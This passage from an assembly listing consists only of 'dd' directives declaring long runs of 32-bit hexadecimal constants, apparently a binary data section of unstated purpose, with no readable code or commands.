0FCE0B018h, 0ECBF9A11h, 0A0C6C1ECh dd 0FCB2C1FFh, 0F30EC8E1h, 42C83272h, 2C467EE6h, 80375997h dd 0C1EBE02Ah, 173E7592h, 7183A7E3h, 0B09ADAD0h, 65F97224h dd 9431F4DBh, 0EECFCAD9h dd 77968149h, 6C8C7460h, 129EF64h, 0A2D83C3Eh, 0EEC96707h dd 0D3E830F5h, 200D4F7Bh, 0B5B210C6h, 0EB6527F1h, 0A62D7BF0h dd 34E6EE23h, 1EB8190h, 129E2D39h, 98354830h, 4F613385h dd 2A67FC1h, 0AC2DC787h, 2152341Fh, 1A228F63h, 5438CCEEh dd 3D515AC8h, 2024ED3h, 6483FF6Eh, 916C0C72h, 337CF34Ah dd 0E1D4B63Dh, 829953A4h, 0BF2A4F0Fh, 1EC0E906h, 2B14828Ch dd 228DBC7Eh, 0B60B67F5h, 923D8CFEh, 97BB191Ah, 0D1426571h dd 426434C4h, 0DAA61FDDh, 18DD5850h, 52565E6Fh, 0DD513B59h dd 722E624Ch, 3033BF76h, 0B01B5196h, 535CCFBh, 0B9851081h dd 1E4F5AD8h, 83DC0241h, 3C70A01Ch, 0F35AECDCh, 0F2BA3E5Fh dd 0C44780B5h, 7C79879Ch, 3B64DD7h, 269F626Ch, 0F5283F99h dd 0ECD67E49h, 0C4AA8A8Dh, 2E022414h, 0DC6DF0C8h, 3FD2013Fh dd 5BAF9C28h, 7085704Bh, 22703A3Eh, 0F8A1555Dh, 85CBA110h dd 0A84DDB10h, 89A6D72h, 3A29E98Eh, 0CDF18E4Eh, 58CA68D9h dd 0A4967E22h, 0AF83BF0Bh, 305C12C1h, 26CF3B82h, 4BC449F5h dd 6591AFC9h, 29806BEh, 2504F3E3h, 15CA4EA2h, 55676DA6h dd 0AC4FB084h, 0DFDE52FCh, 0C800EEE2h, 60472559h, 0F82F9AD4h dd 4E009672h, 743AC0E9h, 6C107D0Ah, 7AC02E81h, 0E833018Ch dd 595090A2h, 44A009A7h, 517E5A2Eh, 62EFFA79h, 518562B1h dd 0A9B6B63Fh, 66D8FB8Bh, 0FDC11757h, 0F9E45C7h, 0C4B5C397h dd 7844BCAEh, 1A828D9Ah, 0A12D6BF7h, 52059E7Ch, 0B80E53E0h dd 0C9840090h, 9BC52799h, 0C51B9305h, 0F683FBF6h, 5AABE943h dd 2B7A8146h, 7843D428h, 36B76296h, 0C484940h, 19D18B7Ch dd 0BFE81C5Ah, 0A5AFC2A0h, 0A591154Ah, 0FFF96D0Bh, 9FF60B5Bh dd 7805B605h, 85171FC4h, 80F30517h, 0C0C7A266h, 0ECD52E01h dd 0AF78F952h, 0EBE6386Ah, 1A37B9D8h, 0DCDE1ABFh, 541E3B4Bh dd 1CC1D869h, 0BF8A37B8h, 5B1DEFh, 0DCA83F65h, 62407C04h dd 819A4FBBh, 50F4A384h, 86C3804h, 0D3B4A147h, 0D75A8E87h dd 69023A5Dh, 8E3C4BBAh, 0E9D3A24Bh, 0B81EE502h, 8BB81337h dd 4750C88Fh, 0C6AD0F4Ah, 34D49385h, 0E44BCF43h, 1A91E238h dd 0DC3858CBh, 6BB8083Eh, 8547E236h, 39D9E7D8h, 2B0343BFh dd 0E88B5B51h, 0E0600D08h, 0CB4D17CCh, 0C81997D1h, 0C76B1333h dd 393E739Eh, 0A4FFA62Ch, 0C2647C3Ch, 0FF53AE7Bh, 0EC5CC982h dd 0A267DDA7h, 9035C5E3h, 3A687E50h, 0A9CD5D4Bh, 9E497687h dd 0A431505Bh, 37D8981Ah, 3A7148DCh, 9EE2AF50h, 0A72C73ADh dd 0B14A5153h, 0FAC15564h, 36F78CCAh, 4A17B6C4h, 1A090318h dd 5FFD1C0h, 9BB9514Dh, 0AFB5F006h, 0CED90993h, 5B2CC1FCh dd 75379F72h, 6B971B57h, 0DFFF74D4h, 1A7349B2h, 36114D0Ch dd 0A5CECC1Fh, 2AF9644Eh, 0D3280363h, 827FF6B6h, 0F0E48619h dd 0C698B7B4h, 62F0B931h, 3D171599h, 6209A243h, 3EE5E4F9h dd 0E0B8B080h, 0BC75C079h, 3EE98F41h, 9D66A9F4h, 78DC17FDh dd 97DF2121h, 0FAA8FE3Dh, 7BFC17CAh, 6D33540Fh, 9F9F0FCFh dd 0F16BE0EDh, 578C40A8h, 1F6F1749h, 0E76C744Bh, 0DCB7EA1Dh dd 73EBA6B2h, 68D19218h, 9C95945Ah, 0A9996AACh, 0A14156A4h dd 0D5FE9C96h, 74CDE3B4h, 8310C7A9h, 32DFE98Ch, 237567D4h dd 1EA60BC4h, 459DEE59h, 4236C047h, 7A133EFBh, 89DDD51Fh dd 240AE4CFh, 0CF02A82Ah, 6CAAC1CFh, 70A45F04h, 20E8738Ch dd 1CD5906Ch, 150462A4h, 149FFD1Fh, 4883D710h, 0B321F2EBh dd 33FA573Ah, 134D4A17h, 0F94351C3h, 4F49BC7Ah, 1C92A4E0h dd 76F3FA0Ah, 9A22C5E0h, 0B1E923C0h, 0F1971CB2h, 6D8E9719h dd 0EE1572F9h, 969F57Eh, 95C2F6ABh, 0C0EF22EBh, 2DA8F080h dd 33C5E40h, 7999A97Dh, 0F8BEBE27h, 37770F93h, 93699ECDh dd 8A03B271h, 0F32343E4h, 3B490B56h, 7325F075h, 6017CA2Fh dd 8415C5A8h, 8C7C8300h, 0CC331EFBh, 838DFB7Ch, 7A649A8Eh dd 180694BAh, 0C0587738h, 0B2BA62C3h, 0B5DF00EAh, 5929348Ah dd 5014BE2Ch, 47344538h, 0CE7EC3FBh, 1FA88B1Fh, 0EF5C78Bh dd 2F3334A6h, 0D2E29BFAh, 0AB3F19C3h, 10CB5040h, 205989FAh dd 23598087h, 2870AE56h, 0F9BA04F7h, 0E468734Eh, 6189BA96h dd 426C75FFh, 50669271h, 7AB0B85h, 0D572792Bh, 0EE31E68Fh dd 0D1D94AC0h, 0D3399B22h, 4BDA9779h, 0D06F3A46h, 20BCCF7Fh dd 0A0F1014h, 0B15056C6h, 0A93A4C2Fh, 0D8C95107h, 0CE250EB1h dd 80A3867Bh, 38F09816h, 627BF2F2h, 0C1F4E1E7h, 7255E916h dd 0D6524246h, 0AE830633h, 15029B50h, 6CE1B530h, 1E09AB82h dd 4890B5BFh, 0C32E1FD7h, 39BF6B9Fh, 0B46402F7h, 0F4906A0h dd 5E8596AAh, 56A205D7h, 0E644B683h, 0F49308F6h, 9899A778h dd 70661878h, 179722C7h, 8F2437EBh, 9574BF15h, 428C60F5h dd 0C8B4B777h, 7BB6DE35h, 0CC70F1F8h, 22D39F1Ah, 0C96BDC46h dd 7A746251h, 603A00FDh, 4A04206Ch, 3FA6EE00h, 0C10A35CEh dd 836F1616h, 2FD18FC1h, 0CB58048h, 244482FBh, 2B1D53C7h dd 5E274D5Fh, 2E3B1159h, 0E3B276F8h, 8D1B4560h, 0C8941A35h dd 0BD2976FEh, 0C595AAD0h, 1792E06Ah, 30E7A230h, 1261E086h dd 6B0D64FDh, 7B095489h, 0A3317597h, 0CD5186CCh, 0D1920ADBh dd 44B226E4h, 0D60F3B78h, 7B2CBB5Bh, 0FF670B61h, 6AEDF773h dd 94FCB27Ah, 73CEF34h, 0AC611D51h, 0D7B60765h, 0ED14C26Ch dd 853A51h, 0F063F202h, 0C232A36Fh, 0DACDEAh, 0A449BE0Bh dd 0E7D68959h, 4D7A6E7Eh, 266E8CEAh, 538BBF15h, 0B0950927h dd 109C4556h, 317B0C7Eh, 0AA760AA5h, 9374C63Bh, 872CE2E0h dd 98B1B273h, 0E7629333h, 4B788F27h, 779174BEh, 0FD99C40Ch dd 21591BB3h, 333341D7h, 3621C4B2h, 73FEF35Dh, 0EA83431Ch dd 839E1F5Ch, 43ED50BEh, 4D429E5Bh, 0DC5C3F3Ch, 65D45E48h dd 6E311CE2h, 89A04037h, 63F9610Dh, 5BFB6AFEh, 675D8778h dd 0E81EC794h, 0DC3A28D7h, 90C15DB9h, 32D14326h, 0FCB4C58Bh dd 8F39DFBCh, 0FBC5D660h, 0CF1FF46Dh, 857B18EEh, 0A1763A68h dd 13000A6Fh, 238FD962h, 0BE71B21Bh, 0B2C37818h, 0AEB430E0h dd 47C541B2h, 0B933FA48h, 80134344h, 42214A37h, 6004A325h dd 29B7364Ah, 0D124BFFBh, 7369A18Dh, 5EC46B48h, 9077E7C7h dd 5285985Fh, 0DB1135DBh, 0C122BB5Ah, 0F2671905h, 0A3850641h dd 0BDB6345h, 290CC837h, 0B15217C3h, 0AA519E25h, 54211469h dd 7953013Eh, 3DF7A0F1h, 7F2C5D9h, 858DD48Ch, 8CBF313Bh dd 0D834EB46h, 8FD5450Fh, 715EECABh, 6BACFF30h, 3ED5C9B5h dd 165349C2h, 244F055Fh, 0CB67F74h, 967FC397h, 37867A4h dd 56A6B8D1h, 0AC024F82h, 0A59720FAh, 5087A96Ch, 0E9DF91C1h dd 0B8A5502Fh, 0A7C350BAh, 0E00C5FEBh, 5D72CE21h, 5F702558h dd 0BAF94ACh, 13B7B6E9h, 0D3D90D23h, 4F876604h, 9A0F8E7Bh dd 57058A26h, 96A2DB86h, 359FC305h, 5B3CB3A9h, 6B80FBE1h dd 1A826E0Eh, 0D55B2F31h, 57B6A5E5h, 3B2E0ECAh, 0D9BAFAE3h dd 49292778h, 70E579D5h, 7D97B2CCh, 0F5CAFA10h, 3F33B4DEh dd 0BBA7E4Ch, 72CBBFA8h, 0A6ACD154h, 0CB94146Dh, 567E3954h dd 8AD5B035h, 512D7361h, 78A90524h, 17209400h, 7051BC3Ah dd 0EF6AAE4Fh, 0EFA60BE4h, 467CBE85h, 0C1850F91h, 417E924Fh dd 0DB9BA997h, 8D8D55E3h, 71AE1EDDh, 0B07082E2h, 0B8351CA0h dd 0C996A716h, 185BC1AFh, 0B39C68C2h, 4E0E809Ah, 283DAF29h dd 5433BAEFh, 0C5D8E4DAh dd 0EA9BD17Dh, 0C7FB0133h, 4953BD16h, 0D08A919Dh, 0BDDDB5B0h dd 10F46993h, 94674DEAh, 73EEDB4Dh, 9B41529Eh, 0BCE44606h dd 70F19135h, 0D04A61DEh, 0DC0EC17Eh, 128EDFE9h, 2096F61Eh dd 92E52F8Ch, 4322B596h, 7A52CE3Ch, 896FDE05h, 9CA5CD3Ah dd 0FE56E3Bh, 44C0F85Bh, 34A16DBCh, 6A299D49h, 9FCA4BF1h dd 651DCA55h, 56C5848Ah, 0E4B0EB78h, 34510310h, 0B0928256h dd 0CBF82A0h, 2F78B877h, 0CE03A477h, 0BDB51496h, 4F3C172Dh dd 0E9947A75h, 93F33DF6h, 6A790436h, 0AE5BD18Ch, 0CC3E9D90h dd 0F11B31ADh, 1FE619h, 4121A86Ch, 70513DE7h, 0FF928A8h dd 706133A5h, 53C2DADCh, 0ACDDA685h, 2AF0CC6Fh, 110C17A9h dd 0B87361B8h, 66A4A8F0h, 0ABD3A384h, 0EA89709Bh, 0F8BA7515h dd 6F379C4Dh, 2B5965FFh, 0F9A7AA8Bh, 9BBBC4EFh, 0DD9F2AF6h dd 4328C1C4h, 0B9800110h, 93A0FF99h, 8E8E4C87h, 129FBE85h dd 5029DB1h, 0CEFE654Ch, 8D2B3C35h, 0F0C5CDB7h, 2582DD1h dd 89175320h, 4267A97Fh, 8B7CF905h, 5CF03E8Eh, 0F8D5CDAEh dd 0AF865586h, 0DF6871F2h, 0E6A799DFh, 60E6F275h, 69EAE118h dd 22E9D47h, 40745EC8h, 0D9CC81AAh, 244AE3CFh, 0FF4220B5h dd 0F4087FD1h, 327DEB44h, 7DC595CBh, 3C8C6C0Ch, 75D4B79Dh dd 1376242Bh, 5C8E9943h, 17873D3Ah, 0B713C163h, 8DA0AC7Dh dd 92A61CA1h, 9F4B373h, 57DF7A06h, 0C009D84Fh, 0A9C44358h dd 0E81A8AAEh, 6EE015DEh, 0B84D0D04h, 7CF7D253h, 0F3C18BB0h dd 0FC17813Eh, 2AABD535h, 8BB58601h, 787C1833h, 0CBAEEF06h dd 152012EBh, 0A1F353EBh, 6BE349EBh, 515D2928h, 290CA926h dd 74E14FF5h, 1C18EE1Ch, 65BFA43Ch, 7A9E1E00h, 5A35C594h dd 28982CEAh, 23F6886Eh, 0C3AD86B4h, 3CF2D33Ah, 34C525AAh dd 2E935BFBh, 44ABB5D9h, 10432C37h, 16E10CD9h, 8A34224Ah dd 19BA186Fh, 1498DF28h, 79D265EBh, 0AE7B1919h, 90804D45h dd 0D8CB4786h, 0F487EA8Dh, 0B82ACC5Bh, 0BB12C9C5h, 0CCEFB92Fh dd 0B0441E48h, 3783F8FAh, 0BDB6E57Dh, 40DB1A10h, 496F070Bh dd 2BFAA226h, 69E79EF6h, 16260855h, 5EF90FEBh, 0CB04997Dh dd 0A7BDD50Fh, 0D941053Bh, 5FEE8616h, 3BB7139Dh, 54AB5C5Fh dd 5FEA3B68h, 2C2D20AFh, 22D1DD81h, 0A6185045h, 0E4265DD9h dd 44F94030h, 6C082EFh, 0B3BCA586h, 0F12CD3EBh, 1C3AEBAh dd 8C11CB87h, 6589C5D0h, 7DBA61B1h, 8D3823A5h, 0FE0A41D6h dd 0EAB084B6h, 3EA9DAF3h, 0B153BC33h, 0EDEFB499h, 1A15D7C2h dd 8831D10Eh, 37E9114Ah, 24202F8Fh, 76C139FFh, 0CCF46415h dd 0C420534Ch, 3F18518Eh, 0D2E4F8ACh, 0AA7ECEF9h, 435C315Eh dd 0F87C6524h, 0A6CA3AF7h, 78233FC1h, 7862A1C8h, 6810795Ah dd 0E88CCCFBh, 0AEC1BCD8h, 2176E75Ch, 4B5E8E2Eh, 5F888CA8h dd 8C7A05C5h, 0FBBC5817h, 32EF952Bh, 276C8DAAh, 2AD70309h dd 0DA81A655h, 0B41E94FEh, 0BD6DE815h, 9B82867Dh, 87BA82F5h dd 0E0E3A5E8h, 576DCD8Eh, 678E876Eh, 74659BE0h, 7A663C64h dd 0DBA4E5CFh, 22C91CE3h, 0E8475F7Bh, 0AE3BEE9Dh, 1DE0657Ch dd 0DAF7D30Dh, 0A89F9C4Ch, 0BFCE567h, 0A79C9C6Bh, 0CE9E5E96h dd 6156AAB7h, 4B97C5A9h, 0D1206D49h, 80778D2Eh, 0BC0FA529h dd 0B09A2DD2h, 6E80ADBBh, 4313DA13h, 0E0424C7Ch, 93915CA5h dd 83F42E25h, 9AEA2B84h, 0F165394Dh, 0A3833CACh, 387B2709h dd 0AA24738Fh, 7028271Eh, 73BEEF46h, 320263D8h, 3BA59071h dd 70BC032h, 2EFCA67Fh, 8AE3BA88h, 0C3C32405h, 13DB548Fh dd 0F44FC027h, 0DDE60FDEh, 30AD65F4h, 0AED46B5Eh, 9F54A3CFh dd 0C993C013h, 65782F54h, 59F6521Dh, 2AA00FEh, 5F2D9327h dd 0D51EC481h, 0D199DADDh, 0D294BF48h, 4A075770h, 408C2216h dd 0F199CF22h, 0C986A302h, 2F0CD65Fh, 527057E8h, 5D1DC88Dh dd 0D634DEF6h, 0B7F94767h, 70557905h, 52024503h, 0AD344309h dd 0B6AC4039h, 0AF332305h, 10BCAE0Dh, 1AAB0502h, 0ED1129BEh dd 0A15EFA14h, 0B285D9D5h, 9DB9D0F9h, 57C3D830h, 0F9B58F89h dd 99FB6ED8h, 623E77Bh, 2C6F88D1h, 8295A4B1h, 0C483EFBDh dd 0AC521047h, 0CEA113B3h, 4159AF8h, 22A75BFh, 3F8C12Ch dd 64B3CA37h, 56572A04h, 9B4CB185h, 193F7AA1h, 57D54833h dd 0A0C09A84h, 0A74E8417h, 38770039h, 7DC10DB3h, 0BBD1D330h dd 0A6D5DBFBh, 0EDFA694Eh, 0F6AF957Ch, 20E4BFDEh, 88562A20h dd 0B8EF35C9h, 7573300Bh, 4E2F892Ah, 0CC5823A1h, 0E2D60D88h dd 0DF96EEA4h, 1740DAA9h, 0C10878FFh, 4E4888D4h, 1D8FE1DBh dd 51BAD32h, 0C29E6D1Bh, 29F1D911h, 0CF98FB71h, 0B42F4003h dd 0B06E77AAh, 60BF3EF1h, 203181BDh, 1C2653D7h, 0B301630Eh dd 6A0F2B4Ah, 75DAC750h, 0F7ECDF8Ch, 5A9908C5h, 1E61E169h dd 0AFCEC517h, 24AFDD72h, 3F2F79B2h, 0C8EC16F6h, 7AA2796Fh dd 0C86A9670h, 65F3425Fh, 0CDE418E5h, 0F21039E9h, 88BB5B49h dd 504BA773h, 0E7D508C2h, 627C149Dh, 0DED904F9h, 7879B63Bh dd 0F8CC13B6h, 0B6B2F40Eh, 0F5723CEh, 0A998EDBBh, 4EED403Dh dd 45C92B7Ch, 0C00B9AA0h, 51B628A4h, 0AF89ADC0h, 169DD648h dd 0CEB51EB3h, 0D5DE3D2Ch, 357178CFh, 0FAA7A411h, 6F8F745h dd 6FC35326h, 0E02C5E23h, 4C04B909h, 0DBA2932Dh, 61FEB137h dd 957B9D2Ch, 3E0648ABh, 818DA7B6h, 0B1563476h, 222AFFAFh dd 29871A93h, 0CE95B0ABh, 97234F21h, 0B2944527h, 0FCAFC50Eh dd 0F8ADE3B7h, 0BA362272h, 35AF29DBh, 79F268F0h, 2DA7C4F3h dd 476F1177h, 0EE3ED0C4h, 24334A96h, 0F087C1DFh, 85CC5DFBh dd 0A74B654Bh, 0CF3468E5h, 52996E15h, 67F7AF07h, 84FCE69Fh dd 9A23DA6h, 172897CFh, 0D5EE81Ah, 0C0220D31h, 8AD3CFC6h dd 0C7345F2h, 7562F165h, 0FE271AAEh, 0A6A3EB7Dh, 48D2821Dh dd 0D1C2C4A6h, 236D4A03h, 1F14C4D0h, 524D8351h, 0BAA911D3h dd 48F04BDh, 1462D319h, 0C7CFB414h, 0A60F4FBAh, 55274BEAh dd 5DD2D16Fh, 0EE5284ACh, 4DE39B3Dh, 0ED362AEBh, 367EDA24h dd 21F830A6h, 0A7896E61h, 0CAF7240Eh, 0C9EEB1Eh, 0F66A184Dh dd 0B8776D39h, 45CD7FF8h, 856AA486h, 95FFBCD6h, 93CAB11Eh dd 4174F423h, 0F8C9CFFFh, 0B9250B6Eh, 0A47CF314h, 3A2FFEAFh dd 172710B5h, 927C7EE5h, 737EEF07h, 7BBC8C19h, 33F38D8Ah dd 0D42941C2h, 0D5A3E64h, 72068F0Bh, 0EB0B44Dh, 912BB060h dd 244E9DC7h, 0CBB60BF3h, 6CA78010h, 4CEFA470h, 0AE4367Eh dd 257974BDh, 91FE5521h, 188CFDDEh, 96ED0726h, 0D74659Fh dd 0B4A1B69Ah, 0A82F5F01h, 1A9D4E4Ah, 7C79236Ch, 27E4C392h dd 0A9CA109Ah, 119FFBB0h, 0A0FA74DAh, 0D420B9B4h, 0F59BA9BCh dd 46565612h, 7D59CA43h, 1EE9BD4Ch, 0DE1785B8h, 0C90A483h dd 0BCDA29Bh, 0A6F3449Dh, 0BE506D8Ch, 0C6612007h, 0B14B0530h dd 9F347C65h, 0A36396F9h, 0B14ED13h, 3ECD3488h, 0A6E5385Bh dd 0FA291F3Dh, 0AD5D5A5h, 9CD7A3A7h, 4C8ED1B4h, 168ACBF5h dd 2ED59F2Ah, 0F5CFA0ABh, 427C7F1Eh, 74E7A4E6h, 7BC31F59h dd 0D99327E6h, 477A9D0Ch, 0EC257C26h, 0AEAFF0F5h, 0F320F4A6h dd 80E72781h, 0A43776C8h, 80673F07h, 0A67540E3h, 15FB6C04h dd 3379F20Bh, 0C146C0BDh, 0E4765840h, 0C3EFA4A0h, 195B1D4Ch dd 32525C3Ah, 6CF60D2Dh, 0A3D366A1h, 26A76449h, 0D84C9E1h dd 486E1524h, 0CE82F1C0h, 0D4878317h, 0DF145476h, 521EF4EBh dd 0EE697D61h, 0D6BF2512h dd 0D468176Bh, 28C07B78h, 8074F704h, 8A74635Eh, 5945CDDBh dd 358E40EAh, 480614B4h, 0AC372339h, 47A09A57h, 0B02D4B59h dd 0DA499BF5h, 0FA886647h, 741F69D8h, 4F6F81F7h, 90BB2CE7h dd 0E46CC07h, 3B28ADDCh, 0CD1A93C3h, 0FE5D6C4Ch, 9DA0485h dd 471760A8h, 3C513853h, 182D814Ah, 99AF06A6h, 744EB806h dd 0A2F42278h, 568E708Ch, 0CCDFB349h, 6A50E95Eh, 0A4101646h dd 0D036EDBDh, 5ECB22EDh, 985B30B2h, 0A9CF1AEFh, 0ACA138B4h dd 53ACAFFCh, 6CB80A35h, 119D6A04h, 0D44C50ACh, 0DC05871h dd 57FCCA5h, 7BA7E77Ah, 413A99Bh, 0B15081D8h, 394E50BBh dd 4D0D8039h, 24B83506h, 676DD4F6h, 5056E894h, 79797B04h dd 5223A9BBh, 0B247AFD1h, 1852C998h, 1F36C024h, 4F5F3F87h dd 20534796h, 65FDD082h, 0A5701FA9h, 0BA4E5041h, 44172BCDh dd 2CA6EE21h, 5D2E13DAh, 6CE67336h, 0EFEDC9AFh, 0F979920Fh dd 97613813h, 0ABBC2A4Eh, 0E0DB005Dh, 0FB7D19B2h, 0E3613B46h dd 674CE2DEh, 23AE6393h, 0DFDD7BD4h, 0E5D07FDh, 0DD7C9D99h dd 0A443AA6Fh, 59ED1C85h, 4E0C517Eh, 0FDAAB8A1h, 0CAE1A66h dd 2B154BFh, 6582EEF1h, 0E08D6B9h, 24BE69F9h, 88CB8E51h dd 0C8492F98h, 1986EB4Ch, 778F99CCh, 90E29EBDh, 53A593ACh dd 0F470A55Dh, 5A44FC58h, 9DEE2316h, 0B8316D6Bh, 935FA258h dd 3AB71FA8h, 0FDCED5F6h, 38C833CCh, 1348D5DFh, 671FFB12h dd 0BC526DCAh, 0A3EDD40Fh, 126B6DBEh, 68616E2Dh, 0C24EBC07h dd 79F51A5Ah, 137CC9F7h, 51E0E208h, 0F5E7C97Dh, 0AA4F72B1h dd 0BB20D378h, 4775AF9h, 0E3D2BB69h, 1E27D56Ch, 900A78DFh dd 0E58B8C8Bh, 132331FDh, 65FAEF58h, 0E382656Fh, 47452AE5h dd 309CA14Ah, 0CF0466B7h, 0EB4CE3B7h, 47F3A178h, 0EB1FBE53h dd 5D4EC8C7h, 1AE2088h, 0A04D2686h, 0BC1E929Ch, 0DEC9A6C8h dd 0B78B832Ch, 18B34AD3h, 57F561FCh, 0D0BEE435h, 0A9ACC7ECh dd 0CBF4E262h, 0A5A6AB83h, 0B1B0AC74h, 0AC519E4Fh, 221B7820h dd 17111EB1h, 0FE3BD63Dh, 7E4E069Bh, 81760E73h, 0F996C17h dd 8275832Ch, 0A760A5F3h, 5AD3E67Fh, 0B977B012h, 5E2B5C65h dd 0C94D1231h, 0CA297FABh, 0C994F95Dh, 7BA923B1h, 0F4696682h dd 1BA39092h, 0B94F0600h, 0B087A242h, 0E06C5FD0h, 75EB9180h dd 10E29E81h, 977D54CDh, 79EA0DBCh, 19527DE0h, 6FB1F17Bh dd 792CB0E3h, 0CA22D4DCh, 0E4ED92FEh, 2F92D28Fh, 0B00FBCEBh dd 0D622CC47h, 53FF4600h, 0C514B73Dh, 0F91A7058h, 226B4210h dd 1C6F1E6Eh, 6B669F9Fh, 0C6B6D360h, 0BBF30EC0h, 2DEC8266h dd 1E2EB72Ah, 4794130Eh, 4E4E72Ch, 0E167E801h, 836B9370h dd 77E27C86h, 7D5402Ch, 75303B53h, 585B1371h, 0C98B1838h dd 3DF881F0h, 0FA26E992h, 64A51842h, 7BA731C0h, 0C3DFDA0h dd 49D37DB1h, 0AC210CE2h, 0C251E327h, 0A4DC8D39h, 268725E9h dd 63A33855h, 0B59488BDh, 0B6DF2F37h, 0F4C5278Ah, 0DB87D330h dd 3EEDD03Dh, 0F7A3CA1Bh, 8885823Ah, 7357CEC2h, 0F8ADBDCBh dd 0AC516565h, 477651ACh, 5D89A3AAh, 774FF74Eh, 8AFDA0C9h dd 92094BA9h, 0C06A7226h, 890A4812h, 0F955D213h, 22010593h dd 0C8FD2E6h, 0EF67EA53h, 248A84Ch, 12326F87h, 0B2459DFCh dd 2FC130BCh, 6FAD134Eh, 4CF636DDh, 0DC2B4C22h, 5E237E67h dd 1D307D11h, 67B88CE9h, 0DC0E8FB6h, 8958525Dh, 0DEE2250h dd 0FA983623h, 0AA5FC65Bh, 3031F7F8h, 0E279F456h, 400FBC74h dd 62CA57D7h, 33B44A62h, 0B29B5F62h, 0D05FF25h, 6357BAE4h dd 61E78544h, 0C6CC0EF9h, 96299E29h, 2D4146F6h, 7A7C075h dd 7BFCF3EEh, 0AD3FB492h, 6B3B0F6Ah, 0D02ABAC8h, 5751F6Bh dd 0FD3B36A2h, 8AB06CEh, 2632467Eh, 63C2C241h, 3B2BBDC9h dd 8B29D846h, 48D3AE60h, 67C9E257h, 0A48DF078h, 3FF47952h dd 5F2A1EE1h, 0A5334D0Dh, 27BA49A1h, 0B8F222FAh, 0F8F354E3h dd 7E4CFF9Eh, 5C2A05BFh, 0DA361F4Ah, 0D9A9B89h, 34712D75h dd 0C535CF1Bh, 6BCA64F0h, 8E2D3E07h, 0CB4170C5h, 99EDD54Fh dd 202E833Ch, 0C75AE6BBh, 0F69548CCh, 0AE1E65BBh, 49E7342Ch dd 7B52780Ch, 15B61224h, 69430F97h, 0A8D404B2h, 0CE45E6B7h dd 0EAA63B58h, 5FE2A614h, 0FA0FA773h, 0CE1AE841h, 6B9445C4h dd 4BF416DBh, 0B1D292E2h, 4AE38728h, 0A0DC9C0Fh, 1E874817h dd 0A6670719h, 17DE5243h, 4FCB9668h, 0DB9DFE9Ch, 2A701A4Eh dd 0BAFB48BDh, 113E0D1Ah, 0D805BCAAh, 0BA1AFBCBh, 40764FE5h dd 0C92764D1h, 5C76CBD1h, 1A1D0638h, 5D8ACB62h, 0CC4208F5h dd 8A270F3Ch, 9C143CB9h, 42DE99FDh, 9FA8FD8Ch, 0E042B56h dd 83615A23h, 4CDAEEB6h, 0E89EAAA9h, 0A4A6EEFEh, 6B5EC7D5h dd 1EBB9557h, 7FD6057Ah, 15DE3AFFh, 0D31C44F3h, 6937710Ch dd 12E9339Eh, 54C70327h, 4EA93095h, 0FF031147h, 0AEDCD3A1h dd 4DFA09B3h, 0A59FB3Fh, 5833EAAh, 55D8B3A9h, 27E4CF5Dh dd 0D9B372BFh, 0E169926Ch, 0EF987D71h, 0C2BE6E0Dh, 588B98BDh dd 940AB3F3h, 0ED9FFA34h, 71D6CFAFh, 0E5C7333Fh, 73B026F0h dd 0B0E39BC1h, 8626CA03h, 0C559610h, 93911F88h, 221AF7EEh dd 34DB4092h, 0E8B05F0Bh, 0F0FD99F2h, 0BAA58D1Ch, 6C78C10Dh dd 8DEFB0E9h, 108DC5h, 75D1C151h, 0D969F999h, 62067402h dd 6E624263h, 51641901h, 197FCDCDh, 0D07C4A54h, 4F0B817Ah dd 964E2CF9h, 0FB9FB8B6h, 0B3253F50h, 0D1609906h, 30183F49h dd 0E1CB335Dh, 54AFEBBFh, 0FA386086h, 4C915FA0h, 79723023h dd 7478EFD8h, 0B92BB03Dh, 0EF3BE29Eh, 0E6FD80E7h, 0EF55DB6Ch dd 0E5367011h, 0D1EB2B8Bh, 4A114650h, 3A96DBF5h, 65B04904h dd 797DCEE5h, 0A8090E55h, 71778DB2h, 0E1331571h, 0B129C0B2h dd 0EDB32C19h, 4FF55755h, 27A5770Ch, 0CCF9C240h, 67EE4EA9h dd 0C41D31EBh, 0FC3279DAh, 0EADAE5DCh, 32FED23Ah, 0E13838E3h dd 9CC05069h, 84FD83E1h, 15FC618Bh, 0D20F5852h, 6247B9FFh dd 0D5CE3560h, 77691452h, 0CC87324Fh, 0D78E977Ah, 0FB2AD6B7h dd 0BA68052Ch, 0EF2A8F3Ah, 0B37EE04Ch, 7709B00Ah, 0C619201h dd 55D1DDF3h, 8FC0771Ch, 0EC8F590h, 5417C6FAh, 0F898BF3Fh dd 610D5227h, 6E4FEF3h, 2A5136FEh, 772B2EBh, 3B71D639h dd 0CA8E86C1h, 0D66CAA25h, 42DB1A7Ah, 0EB78602h, 3A1EB90Ch dd 9213DCC6h, 5DB7C2CBh, 6276CD09h, 854C479h, 4D7D2C65h dd 96A29F89h, 3060DA15h, 6D8103BDh, 0C45E2FEDh, 0B4A63502h dd 2163A86Fh, 33C1EBCAh, 0DAA90CBh, 3AA6B1DCh, 92E7E159h dd 5BD75CB2h, 0CE4DA93h, 0F7B04DD0h, 0AAEC955Eh, 5CBB8FD4h dd 882505DEh, 0E35B32DBh, 0E113C8DEh, 0E39AC5E6h, 816B0C04h dd 2D242AB6h, 0E9913810h, 0D9E4B529h, 8AD73DE0h, 64E29189h dd 37CB414Bh, 0A7E402A1h, 13B4314Fh, 0D8DDFEFFh, 2FFB16FEh dd 0E6318DBFh, 0BB6A32D5h, 1D9B3609h, 0F69A031Eh, 0FAF2A329h dd 62471BFEh, 47B9E86Fh, 0B5E519BFh, 0EBE6F12Fh, 7DEC35E6h dd 97FEDA78h, 0BED6A3A5h, 17CFFE5Ch, 8F9D1AFCh, 93B84225h dd 8CC1B8F1h, 1053187Bh, 6AAC62CEh, 5D95B6Ch, 1394FB14h dd 0FA7055CFh, 0AF1D2B8Fh, 0F1D2F966h, 202B3E86h, 4B105283h dd 8B146359h, 0A272C207h, 0BE28D3D0h, 0A6B682ABh, 0C09AEFD5h dd 0BF06BA88h, 3806BF2Ah, 3E59B089h, 0EC5485F6h, 58CAA3C6h dd 21E83909h, 0F6BF7D95h, 951AFFBh, 0F6AE8227h, 9945FA4Eh dd 0F5F8187Dh, 0BBC6B8ADh dd 0B2312CF5h, 48F4726Ch, 6BFBC516h, 4F6FF440h, 0E372537h dd 5CE3291Bh, 1DCFE44Fh, 7234D67h, 3A6AD42h, 0C3B937CFh dd 85C2FE0Ch, 2FA68E72h, 0ED7A7A68h, 37A162E2h, 7FD5C0CFh dd 0CC4649D4h, 0A09171E5h, 3CFE88E6h, 25DBACC5h, 7A9AFAA1h dd 0CD974971h, 5D866BEFh, 